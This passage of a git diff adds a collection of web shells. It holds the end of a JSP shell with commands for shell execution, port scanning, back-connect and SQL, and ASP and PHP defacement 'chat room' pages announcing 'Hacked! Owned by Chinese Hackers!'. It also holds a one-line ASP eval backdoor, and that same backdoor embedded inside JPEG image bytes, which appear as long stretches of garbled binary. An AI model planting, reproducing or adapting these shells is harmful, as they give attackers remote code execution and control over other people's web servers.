GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
    "),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> diff --git a/net-friend/ChatRoom/菊花聊天室.asp b/net-friend/ChatRoom/菊花聊天室.asp new file mode 100644 index 0000000..5d600f3 --- /dev/null +++ b/net-friend/ChatRoom/菊花聊天室.asp @@ -0,0 +1,51 @@ + + + +<%@ LANGUAGE = VBScript %> +<% +server.scripttimeout=120 +response.buffer = true +on error resume next +tm = now +ff = Request.ServerVariables("SCRIPT_NAME") + +uip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") +If uip = "" Then uip = Request.ServerVariables("REMOTE_ADDR") +uip=split(uip,".",-1,1) +ipx=uip(0)&"."&uip(1)&"."&uip(2)&".*" + +data = left(replace(trim(request.form("what")),"˵ʲô",""),200) + +if data<>"" then +data = replace(replace(replace(replace(replace(replace(replace(replace(replace(data,"http://",""),"<","<"),">",">"),"%","%"),"(","["),")","]"),"/","/"),"'","'"),"""",""") +data = replace(data,"[img]","") +txt = "
    "&data&"

    IPΪ"&ipx&"ͯЬ >>> Fucked at:"&tm&"

    " +Set Fs=Server.CreateObject("Scripting.FileSystemObject") +Set File=Fs.OpenTextFile(Server.MapPath(ff),8,Flase) +File.Writeline txt +File.Close +response.write "" +end if +%> + + +Chinese Hackers' Chating Room + + +
    +Hacked! Owned by Chinese Hackers!
    +

    ջ

    +
    +
    +

    ͼƬ

    + +

    Chating Room is Powered By Silic Group Hacker Army©2009-2011

    + +
    +
    diff --git a/net-friend/ChatRoom/菊花聊天室.php b/net-friend/ChatRoom/菊花聊天室.php new file mode 100644 index 0000000..5029e01 --- /dev/null +++ b/net-friend/ChatRoom/菊花聊天室.php @@ -0,0 +1,41 @@ + + + +','?','"','(',')','POST','GET','_','/'),array('',';','<','>','?','"','|','|','P0ST','GET','_','/'),$data); +$data = str_replace(array('[img]','[/img]'),array(''),$data); +$ip = preg_replace('/((?:\d+\.){3})\d+/','\\1*',$_SERVER['REMOTE_ADDR']); +$time = date("Y-m-d G:i:s A"); +$text = "
    ".$data."

    IPΪ".$ip."ͯЬ >>> Fucked at:".$time."

    "; +$file = fopen(__FILE__,'a'); +fwrite($file,$text); +fclose($file); +echo ""; +} +?> + + +Chinese Hackers' Chating Room + + +
    +Hacked! Owned by Chinese Hackers!
    +

    ջ

    +
    +
    +

    ͼƬ

    + +

    Chating Room is Powered By Silic Group Hacker Army©2009-2011

    + +
    +
    diff --git a/net-friend/asp/01.asp b/net-friend/asp/01.asp new file mode 100644 index 0000000..99f2a64 --- /dev/null +++ b/net-friend/asp/01.asp @@ -0,0 +1 @@ +<%eval request("pass")%> \ No newline at end of file diff --git a/net-friend/asp/1.asp b/net-friend/asp/1.asp new file mode 100644 index 0000000..2980f44 --- /dev/null +++ b/net-friend/asp/1.asp @@ -0,0 +1,289 @@ +?? JFIF  ` ` ? "Exif II*   Q  ? C   +   $.' ",#(7),01444'9=82<.342? C  2!!22222222222222222222222222222222222222222222222222? <%eval request("pass")%>?   O" ?    + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?   ? +j}?Ƴp?gocŖ^(=?u~ʳXI?JtuުM_[Z? g??FzR\S\ihQ^1?|pNvTc?RC=S??{[Yl.!y??p@?SFBOu-ju=A?#<2O?už.f?څгN??dSoXuaԱ|aBdk?RzzuSҊ?PZwkks ڡfD^?ҭ?;Z?K?qBvlV*?˖]?h Ei?~`ߙs+ RO=?f5Žɍ'l??n?Zk%$g2HWU4qi3?$?sxs^}>G|+Z˲IIv:'dNm*;?rƚږe? 8ږZ e?kЩ?=\z?awծ?sr?sw>g?= ?M 2BYbg9I?EPFUxL??U՞ygivD?WP7 P?g}s??wKu8~ɨ}r?JۖH(?Az?ᏃDr1?~q?>DT?dDyu ?ƾ?i?8?ڗEd7Ko/RyoQXڮ?4JL~o=8^xcE?I?>+?]?s?S~xku?? )6? ]Sp*T?u[ f?iFxa#qv?}3[_-ψ5(tuhv?(⌀ՄQz;uor?i]?3$g&gDEk??@d`8y)?_fg$? M y3? + ? ?  } !1AQa"q2?#BR$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??    + ? ?  w !1AQaq"2?B 